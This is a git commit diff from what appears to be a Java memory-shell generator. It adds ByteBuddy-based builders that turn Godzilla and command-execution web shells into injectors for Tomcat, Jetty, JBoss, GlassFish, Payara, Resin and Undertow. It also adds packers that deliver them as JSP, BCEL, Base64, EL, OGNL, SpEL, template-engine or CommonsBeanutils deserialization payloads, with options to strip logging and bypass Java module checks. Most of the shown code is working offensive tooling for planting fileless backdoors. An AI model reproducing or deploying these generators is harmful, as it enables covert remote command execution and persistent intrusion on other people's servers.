refactor: unify code style

This commit is contained in:
ReaJason
2024-12-20 23:26:13 +08:00
parent 75019e9847
commit c7c4b8be84
146 changed files with 3865 additions and 5631 deletions
@@ -0,0 +1,119 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/7
*/
public abstract class AbstractShell {
/**
* 获取当前支持的内存马功能列表
*
* @return supported tool lists
*/
public abstract List<ShellTool> getSupportedShellTools();
/**
* 获取内存马功能所支持的注入类型列表
*
* @param tool 内存马功能
* @return shellTypes
*/
public List<String> getSupportedShellTypes(ShellTool tool) {
return switch (tool) {
case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList();
case Command -> getCommandShellMap().keySet().stream().sorted().toList();
default -> Collections.emptyList();
};
}
/**
* 检查 shellConfig 的配置是否有效
*
* @param shellConfig 内存马生成配置
* @return valid
*/
public boolean isValid(ShellConfig shellConfig) {
List<ShellTool> supportedShellTools = getSupportedShellTools();
if (!supportedShellTools.contains(shellConfig.getShellTool())) {
return false;
}
List<String> supportedShellTypes = getSupportedShellTypes(shellConfig.getShellTool());
return supportedShellTypes.contains(shellConfig.getShellType());
}
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
if (shellInjectorPair == null) {
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
}
Class<?> shellClass = shellInjectorPair.getLeft();
Class<?> injectorClass = shellInjectorPair.getRight();
shellToolConfig.setShellClass(shellClass);
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
injectorConfig = injectorConfig
.toBuilder()
.injectorClass(injectorClass)
.shellClassName(shellToolConfig.getShellClassName())
.shellClassBytes(shellBytes).build();
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
return GenerateResult.builder()
.shellConfig(shellConfig)
.shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getShellClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
.build();
}
/**
* 获取 Godzilla 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Collections.emptyMap();
}
/**
* 获取 Command 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Collections.emptyMap();
}
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
case Godzilla -> getGodzillaShellMap();
case Command -> getCommandShellMap();
default -> Collections.emptyMap();
};
return shellMap.get(shellType);
}
private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
return switch (shellConfig.getShellTool()) {
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
};
}
}
@@ -0,0 +1,45 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandGenerator {
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
if (shellConfig.getShellClass() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getShellClass())
.name(shellConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.constructor(ElementMatchers.any()).intercept(fieldSets);
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (config.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
@@ -0,0 +1,55 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/12
*/
public class GlassFishShell extends AbstractShell {
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
@Override
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Command, ShellTool.Godzilla);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
);
}
}
@@ -0,0 +1,67 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2024/11/23
*/
public class GodzillaGenerator {
private final ShellConfig shellConfig;
private final GodzillaConfig godzillaConfig;
public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig) {
this.shellConfig = shellConfig;
this.godzillaConfig = godzillaConfig;
}
public DynamicType.Builder<?> getBuilder() {
if (godzillaConfig.getShellClass() == null) {
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
}
if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) {
throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()");
}
String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase();
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(godzillaConfig.getShellClass())
.name(godzillaConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(godzillaConfig.getPass()))
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(godzillaConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(godzillaConfig.getHeaderValue())));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
@@ -0,0 +1,63 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.util.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import org.apache.commons.codec.binary.Base64;
import java.util.Objects;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class InjectorGenerator {
private final ShellConfig config;
private final InjectorConfig injectorConfig;
public InjectorGenerator(ShellConfig config, InjectorConfig injectorConfig) {
this.config = config;
this.injectorConfig = injectorConfig;
}
@SneakyThrows
public DynamicType.Builder<?> getBuilder() {
String base64String = Base64.encodeBase64String(
CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()))
.replace(System.lineSeparator(), "");
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
if (config.needByPassJavaModule()) {
builder = ByPassJavaModuleInterceptor.extend(builder);
}
if (config.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
return builder;
}
@SneakyThrows
public byte[] generate() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
@@ -0,0 +1,42 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.jboss.command.CommandListener;
import com.reajason.javaweb.memshell.jboss.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class JbossShell extends AbstractShell {
@Override
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Command, ShellTool.Godzilla);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class)
);
}
}
@@ -0,0 +1,47 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/7
*/
public class JettyShell extends AbstractShell {
@Override
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Godzilla, ShellTool.Command);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)
);
}
}
@@ -0,0 +1,55 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.payara.command.CommandListener;
import com.reajason.javaweb.memshell.payara.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class PayaraShell extends AbstractShell {
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
@Override
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Command, ShellTool.Godzilla);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.FILTER, Pair.of(CommandFilter.class, PayaraFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, PayaraFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, PayaraListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, PayaraListenerInjector.class),
VALVE, Pair.of(CommandValve.class, PayaraValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, PayaraValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.FILTER, Pair.of(GodzillaFilter.class, PayaraFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, PayaraFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, PayaraListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, PayaraListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class)
);
}
}
@@ -0,0 +1,41 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.resin.command.CommandListener;
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class ResinShell extends AbstractShell {
@Override
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Godzilla, ShellTool.Command);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
);
}
}
@@ -0,0 +1,65 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
/**
* @author ReaJason
* @since 2024/11/22
*/
public class TomcatShell extends AbstractShell {
public static final String WEBSOCKET = "WebSocket";
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
public static final String UPGRADE = "Upgrade";
public static final String EXECUTOR = "Executor";
@Override
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Godzilla, ShellTool.Command);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class),
JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class),
FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
);
}
}
@@ -0,0 +1,41 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class UndertowShell extends AbstractShell {
@Override
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Command, ShellTool.Godzilla);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
);
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.bcel.classfile.Utility;
/**
* @author ReaJason
* @since 2024/12/19
*/
public class BCELPacker implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
return "$$BCEL$$" + Utility.encode(generateResult.getInjectorBytes(), true);
}
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2024/12/17
*/
public class Base64Packer implements Packer {
@Override
public String pack(GenerateResult generateResult) {
return Base64.encodeBase64String(generateResult.getInjectorBytes());
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class DeserializePacker implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class ELPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public ELPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ELScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class FreemarkerPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public FreemarkerPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/FreemarkerScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class JspPacker implements Packer {
String jspTemplate = null;
public JspPacker() {
try {
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
}
}
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
}
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class OGNLPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public OGNLPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,83 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import lombok.Getter;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/11/26
*/
public interface Packer {
/**
* 将生成的内存马打包成指定格式
*
* @param generateResult 生成的内存马信息
* @return 指定格式字节数组
*/
String pack(GenerateResult generateResult);
/**
* 部分打包器可能需要配置来进行额外的配置项
*
* @param generateResult 生成的内存马信息
* @param config 配置
* @return 字节数组
*/
default byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
throw new UnsupportedOperationException();
}
@Getter
static enum INSTANCE {
/**
* Base64
*/
Base64("Base64", new Base64Packer()),
/**
* BCEL
*/
BCEL("BCEL", new BCELPacker()),
/**
* JSP 打包器
*/
JSP("JSP", new JspPacker()),
/**
* 脚本引擎打包器
*/
ScriptEngine("脚本引擎", new ScriptEnginePacker()),
/**
* 反序列化打包器
*/
Deserialize("反序列化(Only CB4, 1.9.x)", new DeserializePacker()),
/**
* EL
*/
EL("EL 表达式", new ELPacker()),
OGNL("OGNL 表达式", new OGNLPacker()),
SpEL("SpEL 表达式", new SpELPacker()),
Freemarker("Freemarker", new FreemarkerPacker()),
Velocity("Velocity", new VelocityPacker()),
;
private final String desc;
private final Packer packer;
INSTANCE(String desc, Packer packer) {
this.desc = desc;
this.packer = packer;
}
}
}
@@ -0,0 +1,37 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/3
*/
public class ScriptEnginePacker implements Packer {
String jsTemplate = null;
public ScriptEnginePacker() {
try {
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
return jsTemplate.replace("{{className}}", injectorClassName)
.replace("{{base64Str}}", injectorBytesBase64Str)
.replace("\n", "")
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
.replaceAll("[ \t]{2,}", " ");
}
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public SpELPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/SpELScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class VelocityPacker implements Packer {
